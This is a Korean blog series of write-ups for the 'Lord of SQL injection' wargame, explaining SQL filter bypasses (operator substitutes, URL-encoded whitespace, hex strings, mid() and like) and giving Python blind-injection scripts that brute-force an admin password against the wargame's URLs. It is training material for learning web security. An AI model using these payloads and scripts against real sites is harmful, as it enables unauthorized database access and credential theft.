코드에서 두번째 쿼리문을 보면 pw가 admin의 pw와 일치해야 문제가 해결되는 것을 알 수 있다.

no에서 ' , substr , ascii , = 를 필터링하고있다. 



no에 ' , = 이 금지이기 때문에 id에 admin을 헥스값으로 표현하고 pw의 문자열 길이를 대입해 봤다. 8자리라는 것을 알 수 있었다.





substr을 쓰지 못하기 때문에 mid함수를 이용해서 한자리씩 찾아간다.





pw의 범위가 숫자뿐아니라 문자까지 포함하기 때문에 mid함수의 반환값을 ord()묶어주는것이 편하다고 판단했다. python스크립트를 잘때도 편할거라고 생각함. ord는 해당 문자의 아스키값을 정수로 변환함





'Web Hacking > Lord of SQL injection' 카테고리의 다른 글

14.los assassin  (0) 2018.03.27
13.los bugbear  (0) 2018.03.22
11.los golem  (0) 2018.03.22
10.los skelleton  (0) 2018.03.22
09.los vampire  (0) 2018.03.22

 

이번문제는 블라인드 인젝션으로 조건이 조금씩 더 까다로워지고 있다.  substr()함수, =문자가 추가로 필터링 걸려있다. substr()을 대체할 수 있는 mid()함수를 이용하고 

=는 패턴이 일치하는지 비교하는 구문인 like 로 대체하면 된다. 

함수와 구문에 대한 사용법은 검색을 이용해본다.


mid함수의 인수를 적절히 돌려가며 8자리 pw를 찾아주면 된다.



자동으로 pw를 찾아주는 파이썬 스크립트는 이전 문제껄 이용해서 충분히 풀 수 있으므로 생략한다.




'Web Hacking > Lord of SQL injection' 카테고리의 다른 글

13.los bugbear  (0) 2018.03.22
12.los darkknight  (0) 2018.03.22
10.los skelleton  (0) 2018.03.22
09.los vampire  (0) 2018.03.22
08.los troll  (0) 2018.03.22



쿼리문 끝에 and 1=0때문에 뭐든 거짓으로 판별하게 되어 있다. id에 admin을 넣어주고 and 1=0을 주석처리 하면 풀릴 것이다.

%23(#)로 주석처리를 한다.


'Web Hacking > Lord of SQL injection' 카테고리의 다른 글

12.los darkknight  (0) 2018.03.22
11.los golem  (0) 2018.03.22
09.los vampire  (0) 2018.03.22
08.los troll  (0) 2018.03.22
07.los orge  (0) 2018.03.21





str_replace(찾는문자열, 치환문자열, 대상문자열)은 대상문자열안에 찾는문자열이 있다면 치환문자열로 치환하는 함수이다. 이 또한 대소문자 구분을 하기 때문에 대문자를 섞어씀으로 우회할 수 있다.




두번째 방법은 str_replace 함수의 기능을 이용하는 방법이다. admin이라는 문자사이 어디든지 admin을 끼워넣어주면 ex)"admi" + "admin" + "n" 

admin이 공백으로 치환되어 admin만 남게 되어 clear



'Web Hacking > Lord of SQL injection' 카테고리의 다른 글

11.los golem  (0) 2018.03.22
10.los skelleton  (0) 2018.03.22
08.los troll  (0) 2018.03.22
07.los orge  (0) 2018.03.21
06.los darkelf  (0) 2018.03.21


이번에는 id만 체크하는데 preg_match와 ereg라는 문자열 매칭 함수가 있다. preg_match는 대소문자를 구분하고  i를 붙여주면 대소문자를 구분없이 매칭된다. ereg는 대소문자 구분을 하기 때문에 한글자라도 대문자를 써주면 다른 문자열로 인식해서 함수를 우회할 수 있다. 그리고 데이터베이스의 charset에 따라서 대소문자 구분의 여부가 달라진다. 



'Web Hacking > Lord of SQL injection' 카테고리의 다른 글

10.los skelleton  (0) 2018.03.22
09.los vampire  (0) 2018.03.22
07.los orge  (0) 2018.03.21
06.los darkelf  (0) 2018.03.21
05.los wolfman  (0) 2018.03.21


역시 pw를 알아내야하는 블라인드 인젝션문제이다. 이전의 블라인드 인젝션 문제와 다른점이 있다면,

or과 and에 필터링이 걸려 있다는 것. and같은 경우에는 url안에서 &기호 대신에 url인코딩에 따라 url에 %26으로 입력해 줘야한다.


or필터링 우회 : ||

and필터링 우회 : %26%26(&&)



아래의 그림과 같이 and를 %26%26으로 입력해준 후 length(pw)='@ <--임의의 숫자를 대입해봄

pw는 8자리라는 것을 알 수 있었다.




아래와 같이 substr()함수를 이용해서 임의의 값을 넣어 한자리씩 총 8자리의 pw를 알아내면 된다.





import urllib2 



headers = {'User-Agent': 'Mozilla/5.0 (Windows NT 6.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/65.0.3325.181 Safari/537.36',

           'Cookie': '__cfduid=d801ac695e6807aeabe31f3b42483360c1520211570; PHPSESSID=4uocr6djjqvf1pi7bsgemnha36'} 

result=[]

for j in range(1,2):

for i in range(48,123):

urL="http://los.eagle-jump.org/orge_40d2b61f694f72448be9c97d1cea2480.php?pw=1%27%20||%20id=%27admin%27%20%26%26%20substr(pw,{0},1)=%27{1}".format(str(j),str(chr(i)))

request = urllib2.Request(urL, None, headers) 

response = urllib2.urlopen(request) 

res=response.read(160)

if "Hello admin" in res:

result+=str(chr(i))


print result


'Web Hacking > Lord of SQL injection' 카테고리의 다른 글

09.los vampire  (0) 2018.03.22
08.los troll  (0) 2018.03.22
06.los darkelf  (0) 2018.03.21
05.los wolfman  (0) 2018.03.21
04.los orc  (0) 2018.03.21





이번 문제는 preg_match에서 or과 and를 필터링하는 모습이다. or과 and는 각각 ||와 &&로 필터링을 피해갈 수 있다.



'Web Hacking > Lord of SQL injection' 카테고리의 다른 글

08.los troll  (0) 2018.03.22
07.los orge  (0) 2018.03.21
05.los wolfman  (0) 2018.03.21
04.los orc  (0) 2018.03.21
03.los goblin  (0) 2018.03.21


preg_match에서 공백을 필터링하고 있다. 그래서 간단하게 공백으로빼고 ||로 이어주었다.

이 외의 방법으로 공백이 필터링 되어있을 때 대신할 수 있는 것은 

1. TAB :  %09

2. \n : %0a

3. \r : %0d

등.. 으로 필터링을 우회한다.



'Web Hacking > Lord of SQL injection' 카테고리의 다른 글

07.los orge  (0) 2018.03.21
06.los darkelf  (0) 2018.03.21
04.los orc  (0) 2018.03.21
03.los goblin  (0) 2018.03.21
02.los cobolt  (0) 2018.03.20



$result['pw'] == $_GET['pw']조건을 만족시켜야 이번 문제를 풀 수 있다.

 pw를 알아내야 하기때문에 블라인드 인젝션문제이다.



1.패스워드의 길이를 알기위해 length(pw)= '@<-에 숫자를 무작위로 대입해본다. 8글자 라는 것을 알게 되었고






2.substr()을 이용해서 한글자씩 비교를 해본다. 비교하는 문자가 동일할 시 Hello admin이 출력된다.

수작업대신 스크립트를 돌리는 방법을 추천한다. 





import urllib2 



headers = {'User-Agent': 'Mozilla/5.0 (Windows NT 6.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/65.0.3325.181 Safari/537.36',

           'Cookie': '__cfduid=d801ac695e6807aeabe31f3b42483360c1520211570; PHPSESSID='} 

result=[]

for j in range(1,9):

for i in range(48,123):

urL="http://los.eagle-jump.org/orc_47190a4d33f675a601f8def32df2583a.php?pw=1%27%20||%20id=%27admin%27%20%26%26%20substr(pw,{0},1)=%27{1}".format(str(j),str(chr(i)))

request = urllib2.Request(urL, None, headers) 

response = urllib2.urlopen(request) 

res=response.read(160)

if "Hello admin" in res:

result+=str(chr(i))

print result




패스워드는 8자리이지만 D와 d가 대소문자 구분없이 인식하기 때문에 for문을 돌면서 대문자와 소문자에서 모두 Hello admin이 출력되기 때문에 9자리가 나온다. 둘중 아무거나 4번째 자리에 넣어주면 된다.  

8자리를 모두 알아내면 pw는 295d5844이고 대입하면 clear이다.



los_orc1.py




'Web Hacking > Lord of SQL injection' 카테고리의 다른 글

06.los darkelf  (0) 2018.03.21
05.los wolfman  (0) 2018.03.21
03.los goblin  (0) 2018.03.21
02.los cobolt  (0) 2018.03.20
01.los gremlin  (0) 2018.03.20


이번 문제에 추가된 것은 preg_match에 ' | " | ` 의 필터링이 추가되었다는 점이다.

쿼리의 id는 guest로 고정되어있고 id='admin'이 되어야 한다.

''가 없이 문자를 쓰면 문자열로 인식되지않아 문제를 풀 수 없다. admin에 해당하는 hex값을 넣어주면 문자열로 받게된다.

admin의 헥스값은 0x61646d696e이다.





'Web Hacking > Lord of SQL injection' 카테고리의 다른 글

06.los darkelf  (0) 2018.03.21
05.los wolfman  (0) 2018.03.21
04.los orc  (0) 2018.03.21
02.los cobolt  (0) 2018.03.20
01.los gremlin  (0) 2018.03.20

+ Recent posts